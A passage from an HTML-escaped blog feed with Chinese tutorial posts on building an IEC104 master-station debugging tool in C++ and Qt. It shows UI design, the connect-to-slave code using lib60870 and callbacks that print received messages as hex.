&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;setItem(row,5,new&amp;nbsp;QTableWidgetItem(time));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;update();}&lt;/pre&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;4_168&quot;&gt;&lt;/a&gt;4.运行演示&lt;/h5&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910120553175747715315404.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;/p&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;5_170&quot;&gt;&lt;/a&gt;5.总结&lt;/h5&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;本章主要描述IEC104主站软件遥信、遥测数据的解析和部分代码，其它类型标识&lt;a href=&quot;https://so.csdn.net/so/search?q=%E6%95%B0%E6%8D%AE%E8%A7%A3%E6%9E%90&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-view=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E6%95%B0%E6%8D%AE%E8%A7%A3%E6%9E%90&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;数据解析\&amp;quot;}&amp;quot;}&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E6%95%B0%E6%8D%AE%E8%A7%A3%E6%9E%90&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;数据解析\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;数据解析&quot; data-pretit=&quot;数据解析&quot;&gt;数据解析&lt;/a&gt;方法类似，其中传输原因和数据品质需在软件启动时进行初始化。&lt;br/&gt;&lt;strong&gt;下期分享IEC104主站调试软件遥控、遥调功能。&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 10 Sep 2025 12:03:20 +0800</pubDate></item><item><title>基于C++和Qt开发IEC104规约主站调试软件（第二章）</title><link>http://blog.write.yingkecut.cn/?id=27</link><description>&lt;div class=&quot;toc&quot; style=&quot;box-sizing: border-box; font-size: 18px; line-height: 24px; margin: 0px 0px 24px; padding: 0px; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;ul style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#1_5&quot; target=&quot;_self&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;1.界面设计&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#2_9&quot; target=&quot;_self&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;2.连接从站&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#3_90&quot; target=&quot;_self&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;3.总结&lt;/a&gt;&lt;/p&gt;&lt;/ul&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：&lt;/span&gt;&lt;br style=&quot;box-sizing: border-box; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;font-weight: 700; box-sizing: border-box; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;开发成果展示&lt;/span&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;：https://live.csdn.net/v/473582&lt;/span&gt;&lt;br style=&quot;box-sizing: border-box; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;font-weight: 700; box-sizing: border-box; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;IEC104通讯规约知识学习&lt;/span&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;：https://download.csdn.net/download/liangwwe0/90616493?spm=1011.2124.3001.6210&lt;/span&gt;&lt;br style=&quot;box-sizing: border-box; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;font-weight: 700; box-sizing: border-box; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;第一章内容&lt;/span&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;：https://blog.csdn.net/liangwwe0/article/details/147241304?spm=1011.2124.3001.6209&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;h5 style=&quot;box-sizing: border-box; color: rgb(79, 79, 79); margin: 24px 0px 8px; font-size: 16px; line-height: 24px; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;1_5&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;1.界面设计&lt;/h5&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;使用&lt;a href=&quot;https://so.csdn.net/so/search?q=Qt%20Designer&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; designer=&quot;&quot;&gt;Qt Designer&lt;/a&gt;打开mainwindow.ui文件绘制IEC104功能界面，参考如下：&lt;br style=&quot;box-sizing: border-box;&quot;/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910115533175747653333762.png&quot; alt=&quot;在这里插入图片描述&quot; style=&quot;border-style: none; box-sizing: border-box; margin: 0px; max-width: 100%;&quot;/&gt;&lt;br style=&quot;box-sizing: border-box;&quot;/&gt;界面中包含连接从站的ip和端口控件QLineEdit，报文显示控件QTextEdit,解析后数据显示控件QTableWidget，以及一些功能按钮&lt;a href=&quot;https://so.csdn.net/so/search?q=QPushButton&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-view=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=QPushButton&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;QPushButton\&amp;quot;}&amp;quot;}&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=QPushButton&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;QPushButton\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;QPushButton&quot; data-pretit=&quot;qpushbutton&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;QPushButton&lt;/a&gt;和布局器。&lt;/p&gt;&lt;h5 style=&quot;box-sizing: border-box; color: rgb(79, 79, 79); margin: 24px 0px 8px; font-size: 16px; line-height: 24px; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;2_9&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;2.连接从站&lt;/h5&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;span style=&quot;font-weight: 700; box-sizing: border-box;&quot;&gt;点击连接按钮连接从站，部分代码示例：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre data-index=&quot;0&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;void&amp;nbsp;MainWindow::click_conButton(){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(m_iec104con){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS104_Connection_destroy(m_iec104con);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;m_iec104con&amp;nbsp;=&amp;nbsp;nullptr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//创建连接对象
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;m_iec104con&amp;nbsp;=&amp;nbsp;CS104_Connection_create(ui-&amp;gt;ipEdit-&amp;gt;text().toUtf8().constData(),&amp;nbsp;ui-&amp;gt;portEdit-&amp;gt;text().toInt());
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//设置连接事件句柄
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS104_Connection_setConnectionHandler(m_iec104con,&amp;nbsp;connectionHandler,&amp;nbsp;this);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//设置数据接收事件句柄
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS104_Connection_setASDUReceivedHandler(m_iec104con,&amp;nbsp;asduReceivedHandler,&amp;nbsp;this);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//设置报文打印事件句柄
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS104_Connection_setRawMessageHandler(m_iec104con,&amp;nbsp;rawMessageHandler,&amp;nbsp;this);

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//开始进行TCP网络连接
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(CS104_Connection_connect(m_iec104con)){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//tcp连接成功,启动iec104连接
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS104_Connection_sendStartDT(m_iec104con);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;textEdit-&amp;gt;append(&amp;quot;连接从站失败&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;conButton-&amp;gt;setText(QString::fromUtf8(&amp;quot;连接&amp;quot;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;conButton-&amp;gt;setEnabled(true);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}}&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;span style=&quot;font-weight: 700; box-sizing: border-box;&quot;&gt;连接回调函数代码示例：&lt;/span&gt;&lt;/p&gt;&lt;pre data-index=&quot;1&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;void&amp;nbsp;MainWindow::connectionHandler(void&amp;nbsp;*parameter,&amp;nbsp;CS104_Connection&amp;nbsp;connection,&amp;nbsp;CS104_ConnectionEvent&amp;nbsp;event){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(parameter==nullptr)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MainWindow&amp;nbsp;*that&amp;nbsp;=&amp;nbsp;(MainWindow*)parameter;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;switch&amp;nbsp;(event)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;CS104_CONNECTION_OPENED://完成TCP网络连接
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;qDebug()&amp;lt;&amp;lt;QString(&amp;quot;IEC104&amp;nbsp;Master&amp;nbsp;connection&amp;nbsp;established&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;CS104_CONNECTION_CLOSED://104主站关闭连接
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;that-&amp;gt;showMessageSignal(&amp;quot;主站已关闭连接&amp;quot;,-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;that-&amp;gt;ui-&amp;gt;conButton-&amp;gt;setText(QString::fromUtf8(&amp;quot;连接&amp;quot;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;that-&amp;gt;ui-&amp;gt;conButton-&amp;gt;setEnabled(true);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;CS104_CONNECTION_STARTDT_CON_RECEIVED://连接104从站成功
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;that-&amp;gt;showMessageSignal(&amp;quot;连接从站成功&amp;quot;,-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;that-&amp;gt;ui-&amp;gt;conButton-&amp;gt;setText(&amp;quot;断开&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;that-&amp;gt;ui-&amp;gt;conButton-&amp;gt;setEnabled(true);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;that-&amp;gt;ui-&amp;gt;analysisButton-&amp;gt;setDisabled(true);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;CS104_CONNECTION_STOPDT_CON_RECEIVED://104从站
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;that-&amp;gt;showMessageSignal(&amp;quot;从站关闭连接&amp;quot;,-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;that-&amp;gt;ui-&amp;gt;conButton-&amp;gt;setText(QString::fromUtf8(&amp;quot;连接&amp;quot;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;that-&amp;gt;ui-&amp;gt;conButton-&amp;gt;setEnabled(true);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}}&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;span style=&quot;font-weight: 700; box-sizing: border-box;&quot;&gt;报文打印回调函数代码示例：&lt;/span&gt;&lt;/p&gt;&lt;pre data-index=&quot;2&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;void&amp;nbsp;MainWindow::rawMessageHandler(void&amp;nbsp;*parameter,&amp;nbsp;uint8_t&amp;nbsp;*msg,&amp;nbsp;int&amp;nbsp;msgSize,&amp;nbsp;bool&amp;nbsp;sent){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(parameter==nullptr)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MainWindow&amp;nbsp;*that&amp;nbsp;=&amp;nbsp;(MainWindow*)parameter;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QByteArray&amp;nbsp;data&amp;nbsp;=&amp;nbsp;QByteArray(reinterpret_cast&amp;lt;const&amp;nbsp;char*&amp;gt;(msg),msgSize);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;type&amp;nbsp;=0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(sent)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;type&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;type&amp;nbsp;=&amp;nbsp;1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;that-&amp;gt;showMessageSignal(data.toHex(&amp;#39;&amp;nbsp;&amp;#39;).toUpper(),type);
}&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;span style=&quot;font-weight: 700; box-sizing: border-box;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;span style=&quot;font-weight: 700; box-sizing: border-box;&quot;&gt;连接功能成果展示（需本地启用一个从站进行模拟测试）&lt;/span&gt;&lt;br style=&quot;box-sizing: border-box;&quot;/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910115533175747653393061.png&quot; alt=&quot;在这里插入图片描述&quot; style=&quot;border-style: none; box-sizing: border-box; margin: 0px; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;h5 style=&quot;box-sizing: border-box; color: rgb(79, 79, 79); margin: 24px 0px 8px; font-size: 16px; line-height: 24px; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;3_90&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;3.总结&lt;/h5&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;本章节主要讲解iec104主站软件界面设计和从站的连接功能以及部分功能代码的展示，连接函数（CS104_Connection_connect）是阻塞的，当网络不好或连接参数不正确时，连接耗时会导致界面阻塞。所以在实际应用项目中，建议将连接功能放入子线程中，主线上用来刷新UI展示数据。&lt;br style=&quot;box-sizing: border-box;&quot;/&gt;&lt;span style=&quot;font-weight: 700; box-sizing: 